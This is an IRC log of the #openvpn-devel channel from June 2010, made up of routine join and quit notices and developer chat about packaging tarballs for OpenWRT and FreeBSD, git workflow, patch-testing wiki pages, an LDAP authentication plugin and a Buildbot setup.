[Ping timeout: 272 seconds] 09:30 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 11:03 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 272 seconds] 11:28 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:35 <@openvpn2009> mattock, are you around? 12:35 <@openvpn2009> eric? 12:37 < ecrist> sup? 12:37 < ecrist> fyi, if you use my nick, it alerts me. 12:38 <@openvpn2009> oh okay! :-) 13:46 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 18:08 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 18:25 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 20:56 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 22:30 -!- Netsplit *.net <-> *.split quits: HanX 22:39 -!- Netsplit over, joins: HanX 23:48 -!- Knio [~Knio@174.0.88.23] has quit [Read error: Connection reset by peer] 23:53 -!- Knio [~Knio@174.0.88.23] has joined #openvpn-devel --- Day changed Sat Jun 12 2010 00:06 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 00:11 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 00:24 -!- mape2k [~mape2k@p5B28409D.dip.t-dialin.net] has joined #openvpn-devel 01:26 -!- mape2k [~mape2k@p5B28409D.dip.t-dialin.net] has quit [Ping timeout: 245 seconds] 01:43 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 03:11 <@cron2> HanX: the code currently stores all arguments and options in a field in "struct options", defined in options.h - this is what you want to use 03:11 <@cron2> argv parsing is in options.c 03:12 <@cron2> HanX: make sure you follow the existing coding style, otherwise dazo will reject the patch right away 04:13 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 04:57 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:26 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 07:45 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 272 seconds] 10:21 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:50 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 12:43 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:45 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 15:06 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:27 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 16:55 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 19:08 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sun Jun 13 2010 03:55 -!- Chuwiey [~n@c-71-206-10-232.hsd1.md.comcast.net] has joined #openvpn-devel 03:56 < Chuwiey> anyone alive here? 03:58 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:03 -!- Chuwiey [~n@c-71-206-10-232.hsd1.md.comcast.net] has left #openvpn-devel [] 04:03 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 05:43 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:39 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:48 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 15:50 < krzee> can someone please think about changing the subnet on http://openvpn.net/index.php/open-source/faq.html#slash30 15:50 < vpnHelper> Title: FAQ (at openvpn.net) 15:50 < krzee> from 192.168.1.x to 10.8.0.x 15:51 < krzee> since users should never use such a common subnet 17:48 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 18:00 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 21:03 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Mon Jun 14 2010 01:18 -!- mape2k [~mape2k@p5B284BAB.dip.t-dialin.net] has joined #openvpn-devel 01:19 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:41 < ecrist> sent update for week 24 ports tree 07:41 < ecrist> should post today, I hope --- Log closed Mon Jun 14 09:24:00 2010 --- Log opened Fri Jun 25 19:14:34 2010 19:14 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:14 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 19:15 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 22:33 < ecrist> frustrating 22:33 < ecrist> power loss and irssi didn't save my logs --- Day changed Sat Jun 26 2010 00:49 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 07:19 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 07:20 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 11:02 <@cron2> ecrist: power is teh evil... 11:03 <@cron2> ecrist: what I wanted to ask you - for the openvpn-devel port for FreeBSD, how do you generate the tarballs? I'm wondering about coaxing the OpenWRT folks into having an official openvpn-devel package, but the package build system needs a tarball to start with... 11:04 <@cron2> maybe I should point that package to your FTP directory on ftp.secure-computing.net? 14:08 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:44 -!- mgolisch [~michi@85.93.11.18] has joined #openvpn-devel 14:46 < mgolisch> is there any work planed to improve the windows service wrapper? 14:49 < krzie> what about it needs improving? 14:49 < mgolisch> would be awesome if a frontend could start/stop individual connections 14:50 < krzie> theres no such work planned afaik 14:50 < mgolisch> k 14:50 < krzie> however, if you wish to work on it, please do feel free 14:51 < mgolisch> iam aiming for beeing able to have my non admin users use openvpn using a gui frontend with user-auth user/pass auth in adition to client certificates 14:53 < krzie> like !win_noadmin in ##openvpn 14:53 < krzie> i think this conversation belongs in that channel actually 14:53 < krzie> unless you do feel like trying to code what you're looking for 15:00 < mgolisch> krzie: thx 15:00 -!- mgolisch [~michi@85.93.11.18] has left #openvpn-devel [] 16:18 < ecrist> cron2: that's the idea. 16:18 < ecrist> there's nothing freebsd-specific in the tarball, it's just bootstrapped and tarred up 16:19 < ecrist> there are two hosts, ftp.secure-computing.net and ftp2.secure-computing.net 16:23 -!- Irssi: #openvpn-devel: Total of 16 nicks [4 ops, 0 halfops, 0 voices, 12 normal] 17:18 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 17:19 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 17:19 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 17:21 -!- krzee [nobody@unaffiliated/krzee] has quit [Client Quit] --- Day changed Sun Jun 27 2010 02:55 <@cron2> ecrist: ok, cool. So I'll refer to these tarballs, then :-) 05:12 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:24 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 09:48 <@cron2> http://secure-computing.net/wiki/index.php/OpenVPN/OpenWRT 09:48 < vpnHelper> Title: OpenVPN/OpenWRT - Secure Computing Wiki (at secure-computing.net) 09:49 <@cron2> feedback (and HTML fixes, my wiki-fu is not good today) welcome 10:14 <@cron2> *mail to list* 10:14 <@cron2> *close laptop, go helicopter flying* :-) 12:23 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 14:24 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:25 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 18:58 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 245 seconds] 19:00 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 23:47 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Mon Jun 28 2010 01:10 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 01:28 <@cron2> mape2k: you missed my wiki URL regarding openvpn/openwrt package building... http://secure-computing.net/wiki/index.php/OpenVPN/OpenWRT 01:28 < vpnHelper> Title: OpenVPN/OpenWRT - Secure Computing Wiki (at secure-computing.net) 01:28 <@cron2> if you have time, I'd welcome feedback :-) 01:31 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:38 -!- Netsplit *.net <-> *.split quits: HanX, @dazo_afk 01:58 -!- dazo [~dazo@nat/redhat/x-pfdongmzktsdnycy] has joined #openvpn-devel 01:58 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 01:58 -!- ServerMode/#openvpn-devel [+o dazo] by card.freenode.net 02:19 <@dazo> cron2: Hey, congrats with the IPv6 prize! 04:10 <@cron2> dazo: thanks :-) 04:10 <@dazo> :) 04:11 <@dazo> cron2: I've seen your mail, not had time to respond to it yet ... but if you want a quick guide how to add openvpn-testing.git to your tree, let me know .... its just a couple of git commands 04:13 <@cron2> dazo: I think I'll do a new "git clone" in a new directory, then a new "git checkout -b feat_ipv6_payload" there, and then I'll run a diff to see whether this is what it should be :-) - and then I move over the development work to the new directory 04:13 * cron2 doesn't fully trust git yet - so I always do complete "cp -r" of my openvpn source directory when I do a patch snapshot :-) 04:14 <@dazo> cron2: sure ... but it's not really any big difference if you do a new clone or using your old clone .... unless it's a bit mess with commits and merges in the old tree 04:15 <@cron2> dazo: if I do a new clone, I am 100% sure that it won't change any of the existing source files (due to git mis-use or whatever) :-) 04:15 <@dazo> cron2: however, if you have time, I really can recommend you looking at the ProGit book (available for free online), it can probably make you feel more comfortable :) 04:15 * dazo agrees to that 04:16 <@cron2> well, "time" is the magic word :-) - whenever I read something about git, I find it completely logical, and when I need it for the next time ("months later") I have forgotten everything that goes beyond "git diff" "git commit" and "git push" :-) 04:16 <@cron2> my brain is still in "CVS mode" :-) 04:17 <@dazo> heh :) I can understand that :) 04:33 <@mattock> I read through the (almost) entire Git manual (not man-page) last week... I agree it makes perfect sense... and the next time I need to do something fancier than "git add, git commit, git status" I have forgotten everything ;) 04:36 < waldner> dazo: is this similar to what you had in mind for the patch testing: https://community.openvpn.net/openvpn/wiki/PingInactivePatch 04:36 < vpnHelper> Title: PingInactivePatch – OpenVPN (at community.openvpn.net) 04:37 < waldner> (it's still incomplete) 04:37 * dazo reads up 04:38 <@dazo> waldner: wow! This is good docs! 04:38 < waldner> cool, it's good to see that I was on the right track 04:38 < waldner> thanks 04:39 < waldner> I will complete it later 04:39 < waldner> mattock: I also started the bridging page, but the first I created had the wrong name 04:39 < waldner> but I haven't found a way to delete it 04:39 <@dazo> waldner: yeah, that seems to be pretty good ... I'd like to see some test durations as well, for example running 2-4 hours and some tests with other traffic as well - to test that inactivity check don't miscalculates something 04:39 < waldner> ok 04:40 <@dazo> file transfer via scp, ftp, http or cifs would do fine in that regards 04:41 < waldner> well, ping would do just as fine, I guess 04:41 < waldner> https://community.openvpn.net/openvpn/wiki/OpenVPNBridgine <-- this should be deleted 04:41 < vpnHelper> Title: OpenVPNBridgine – OpenVPN (at community.openvpn.net) 04:41 <@mattock> waldner: I'll check the renaming issue after having some lunch 04:42 <@dazo> waldner: well, I'd like to be sure that bigger packages works fine ... kind of a little and simple "stress" test 04:42 < waldner> ping -s 1500 -i0.1 :) 04:42 < waldner> mattock: I already created another with the right name, so it just needs to be deleted 04:43 < waldner> dazo: ok, but I see what you mean 04:43 <@dazo> yeah, but if it's another protocol than ICMP, we can feel more confident that things works as expected ... TCP and UDP traffic is the critical protocols 04:43 < waldner> yep 05:14 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: leaving] 05:30 <@mattock> waldner: I deleted the page 05:32 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 05:32 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 05:32 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:28 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 252 seconds] 07:01 <@dazo> chantra: nice work on the LDAP plug-in ... I'll probably gonna steal parts of your work for my project :-P 07:02 * dazo is happy it's in pure C and not Objective-C as the other LDAP project is, iirc 07:06 < chantra> dazo: tks, go ahead 07:07 * dazo really needs to learn to setup an LDAP server properly .... 07:07 < chantra> dazo: it is pretty hacky still 07:08 <@dazo> chantra: well, I need the LDAP communication and authentication code basically ... so your code gives me all the ideas I need for eurephia 07:08 < chantra> I am not sure it makes sense to use threading... but it seems that even though plugins were meant to run in its own loop, hanging on auth would hang the rest of the communications 07:09 * chantra think that was because I was using 2.0 at the time I started working on that plugin 07:09 < chantra> thus no _DEFERRED rrturn code was available 07:10 <@dazo> even with 2.1 it can be tricky if the authentication goes slow or hangs, it will most probably cause all other clients to hang as well 07:11 <@dazo> I've not studied your code enough, so not sure if a thread solves that - but it might 07:11 < chantra> k, well, basically, i return _DEFERRED upon auth 07:11 < chantra> then, a separate thread will handle writing 0/1 to the auth file 07:12 <@dazo> mm 07:14 < chantra> but anyway, as long as _DEFERRED is return, i dont see anyway to do the handling of the auth without thread/fork 07:14 <@dazo> that's very true 07:15 <@dazo> I'll need to look closer into the _DEFERRED before I can be absolutely sure 07:26 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 265 seconds] 08:56 < kish> what is the source used for --genkey ? 09:16 <@dazo> kish: init.c:642 - do_genkey() 09:17 < kish> thanks 09:17 <@dazo> kish: which calls crypto.c:1248 - write_key_file() 09:17 <@dazo> that should get you on the right track 09:17 < kish> yep. thanks again :) 09:18 <@dazo> kish: no prob! :) 09:24 < ecrist> good morning 09:24 < ecrist> dazo, how do I pull a git log for the last 14 days? 09:25 <@dazo> git log --since="2 weeks ago" 09:25 < ecrist> woot, thanks 09:26 <@dazo> it's taken from memory, not tested ... so not sure if the syntax is right though 09:31 < ecrist> it works 09:34 < ecrist> cron2: you point to week 26 tarball yet? 09:36 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 09:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:39 < ecrist> hey mattock 09:40 <@mattock> ecrist: yep 09:41 < ecrist> did you get into forums host? 09:41 < ecrist> my irssi crashed and I don't have logs from after I sent the login info to you 09:41 <@mattock> when did you send the login info? 09:42 < ecrist> over a week ago 09:43 < ecrist> sent you a PM with creds 09:58 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 10:23 -!- mape2k [~mape2k@p5B280803.dip0.t-ipconnect.de] has joined #openvpn-devel 10:30 -!- mape2k [~mape2k@p5B280803.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 10:36 -!- dazo is now known as dazo_afk 10:44 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 11:22 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] --- Log closed Mon Jun 28 12:55:03 2010 --- Log opened Mon Jun 28 12:55:11 2010 12:55 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 12:55 -!- Irssi: #openvpn-devel: Total of 19 nicks [5 ops, 0 halfops, 0 voices, 14 normal] 12:55 -!- Irssi: Join to #openvpn-devel was synced in 46 secs 13:00 -!- Netsplit *.net <-> *.split quits: ecrist 13:00 -!- Netsplit *.net <-> *.split quits: @raidz, @openvpn2009, vpnHelper, @cron2, Knio, Yarrick 13:00 -!- Netsplit over, joins: vpnHelper, @cron2, @openvpn2009, Knio, Yarrick, @raidz 13:28 -!- You're now known as ecrist 13:57 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 14:43 <@cron2> ecrist: yes, week 26 14:48 < ecrist> cron2: I re-rolled the tarbal for this week earlier today 14:48 < ecrist> I'm now updating ChangeLog with the current year's git log 14:50 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 264 seconds] 14:57 <@cron2> ecrist: oh. so I have to update my md5sum on the wiki page 14:57 < ecrist> yes, my apologies. 14:57 <@cron2> $tomorrow :) 14:58 < ecrist> usually I don't do that, but I'll give those that care a heads-up when I do. 18:59 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 248 seconds] 19:02 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 21:56 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:40 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 22:42 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Jun 29 2010 01:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:28 -!- dazo_afk is now known as dazo 01:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 01:58 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:54 -!- mape2k [~mape2k@p5B286793.dip.t-dialin.net] has joined #openvpn-devel 03:15 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 03:20 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 04:23 <@mattock> haha! first successful OpenVPN "testing" build using Buildbot + buildslave running on Debian Lenny 04:23 <@mattock> :) 04:25 <@mattock> "all too easy" 04:48 <@dazo> mattock: cool! 04:48 <@dazo> mattock: You've probably seen my announcement of the beta2.2 branch .... let's make sure we'll discuss that a little bit on Thursday 05:03 <@mattock> yep, I saw it 05:05 <@mattock> I'll create the agenda page tomorrow and add the beta2.2 discussion to the topic list 05:06 <@mattock> got to split now 05:11 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 264 seconds] 07:04 * ecrist replies to mattock's email 09:55 -!- mape2k [~mape2k@p5B286793.dip.t-dialin.net] has quit [Ping timeout: 265 seconds] 10:09 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 10:13 <@cron2> mattock: cool! 10:24 -!- dazo is now known as dazo_afk 11:34 -!- d457k [~heiko@2a01:198:4d7:0:21f:c6ff:fe44:aec8] has quit [Ping timeout: 248 seconds] 11:36 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 13:40 -!- waldner [~waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 13:42 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 14:15 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 14:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:39 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:39 -!- waldner [~waldner@unaffiliated/waldner] has quit [Client Quit] 14:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:39 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:40 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 15:43 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 260 seconds] 19:02 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 264 seconds] 19:04 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 22:19 -!- dazo_afk [~dazo@nat/redhat/x-pfdongmzktsdnycy] has quit [Ping timeout: 276 seconds] 22:20 -!- dazo_afk [~dazo@nat/redhat/x-nqmbonbactwsgsaz] has joined #openvpn-devel 22:20 -!- dazo_afk is now known as Guest94271 --- Day changed Wed Jun 30 2010 00:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 00:53 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 00:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:32 <@cron2> so, wiki entry fixed (removed PKG_MD5SUM, so it will fallback to "no checksum test") :) 01:35 -!- mode/#openvpn-devel [+o Guest94271] by ChanServ 01:35 -!- Guest94271 is now known as dazo 01:57 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 03:07 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 03:14 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 03:15 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 03:32 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 03:47 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:03 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 04:06 -!- krzee [nobody@unaffiliated/krzee] has quit [Excess Flood] 04:16 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 04:20 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 04:29 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:37 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 05:23 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:39 <@mattock> topics page for next meeting is up: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-01 05:39 < vpnHelper> Title: Topics-2010-07-01 – OpenVPN (at community.openvpn.net) 06:19 -!- dazo [~dazo@nat/redhat/x-nqmbonbactwsgsaz] has quit [Read error: Connection reset by peer] 06:21 -!- dazo [~dazo@nat/redhat/x-blctpzojrtodvqpm] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:27 -!- dazo [~dazo@nat/redhat/x-blctpzojrtodvqpm] has quit [Read error: Connection reset by peer] 06:28 -!- dazo [~dazo@nat/redhat/x-oujloxioxzanaezs] has joined #openvpn-devel 06:28 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:40 -!- dazo [~dazo@nat/redhat/x-oujloxioxzanaezs] has quit [Read error: Connection reset by peer] 06:41 -!- dazo [~dazo@nat/redhat/x-qspbfqhhsezygbnc] has joined #openvpn-devel 06:41 < dazo> hehe ..... chat.freenode.net has IPv6 address 2001:19f0:feee::dead:beef:cafe 06:41 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:43 <@cron2> hrhr, sounds more fitting for a steak house :-) 06:43 <@cron2> mattock: could you put "openvpn-on-openwrt wiki entry" on it? 06:44 <@cron2> (I want a brief discussion *which* wiki we're going to use for such things, and want feedback) 06:49 -!- dazo [~dazo@nat/redhat/x-qspbfqhhsezygbnc] has quit [Read error: Connection reset by peer] 06:50 -!- dazo [~dazo@nat/redhat/x-erbgnwvbqwoywqqp] has joined #openvpn-devel 06:50 -!- dazo is now known as Guest67998 06:53 -!- mode/#openvpn-devel [+o Guest67998] by ChanServ 06:54 -!- Guest67998 is now known as dazo 06:56 <@mattock> cron2: will do 07:00 <@mattock> ok, done 07:01 -!- dazo [~dazo@nat/redhat/x-erbgnwvbqwoywqqp] has quit [Read error: Connection reset by peer] 07:02 -!- dazo [~dazo@nat/redhat/x-blvknqdabitcbnad] has joined #openvpn-devel 07:02 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:14 -!- dazo [~dazo@nat/redhat/x-blvknqdabitcbnad] has quit [Read error: Connection reset by peer] 07:20 -!- dazo [~dazo@nat/redhat/x-uahnbudavviiigot] has joined #openvpn-devel 07:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:21 -!- dazo [~dazo@nat/redhat/x-uahnbudavviiigot] has quit [Read error: Connection reset by peer] 07:22 -!- dazo [~dazo@nat/redhat/x-vbzpcuxiwinzwiza] has joined #openvpn-devel 07:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:30 -!- dazo [~dazo@nat/redhat/x-vbzpcuxiwinzwiza] has quit [Write error: Connection reset by peer] 07:32 -!- dazo [~dazo@nat/redhat/x-syopcgtomkelbjeg] has joined #openvpn-devel 07:32 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:38 -!- dazo [~dazo@nat/redhat/x-syopcgtomkelbjeg] has quit [Read error: Connection reset by peer] 07:39 -!- dazo [~dazo@nat/redhat/x-dbfcybqgnkontvst] has joined #openvpn-devel 07:39 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:42 -!- dazo [~dazo@nat/redhat/x-dbfcybqgnkontvst] has quit [Read error: Connection reset by peer] 07:43 -!- dazo [~dazo@nat/redhat/x-gpkodtsjtkxlycwq] has joined #openvpn-devel 07:43 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:46 -!- dazo [~dazo@nat/redhat/x-gpkodtsjtkxlycwq] has quit [Read error: Connection reset by peer] 07:47 -!- dazo [~dazo@nat/redhat/x-kzlsmcsizlgbcded] has joined #openvpn-devel 07:47 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:52 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 248 seconds] 07:54 -!- dazo [~dazo@nat/redhat/x-kzlsmcsizlgbcded] has quit [Read error: Connection reset by peer] 07:55 -!- dazo [~dazo@nat/redhat/x-ybnpvzhjmdsbydrc] has joined #openvpn-devel 07:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:56 -!- dazo [~dazo@nat/redhat/x-ybnpvzhjmdsbydrc] has quit [Read error: Connection reset by peer] 07:57 -!- dazo [~dazo@nat/redhat/x-ikgyfsnujtodgijz] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:00 -!- dazo [~dazo@nat/redhat/x-ikgyfsnujtodgijz] has quit [Read error: Connection reset by peer] 08:01 -!- dazo [~dazo@nat/redhat/x-bcyxomcwxctaymdb] has joined #openvpn-devel 08:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:07 -!- dazo [~dazo@nat/redhat/x-bcyxomcwxctaymdb] has quit [Read error: Connection reset by peer] 08:08 -!- dazo [~dazo@nat/redhat/x-yxgpryostbxpyekl] has joined #openvpn-devel 08:08 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:09 -!- dazo [~dazo@nat/redhat/x-yxgpryostbxpyekl] has quit [Read error: Connection reset by peer] 08:09 -!- dazo [~dazo@nat/redhat/x-uyykcunormuxcxuh] has joined #openvpn-devel 08:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:10 -!- dazo [~dazo@nat/redhat/x-uyykcunormuxcxuh] has quit [Read error: Connection reset by peer] 08:13 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:49 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 10:23 -!- Irssi: #openvpn-devel: Total of 18 nicks [4 ops, 0 halfops, 0 voices, 14 normal] 10:24 < ecrist> raidz: fyi, I'm building php/mysql/etc on forums now 10:33 -!- mape2k [~mape2k@h251.fem.tu-ilmenau.de] has joined #openvpn-devel 11:18 -!- dazo is now known as dazo_afk 11:29 -!- mape2k [~mape2k@h251.fem.tu-ilmenau.de] has quit [Ping timeout: 260 seconds] 11:30 * ecrist works on moving forums to new server 12:27 -!- kish [~o2@unaffiliated/spice] has quit [Quit: leaving] 12:42 <@raidz> ecrist: sent you a private message 14:32 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: Leaving] --- Log 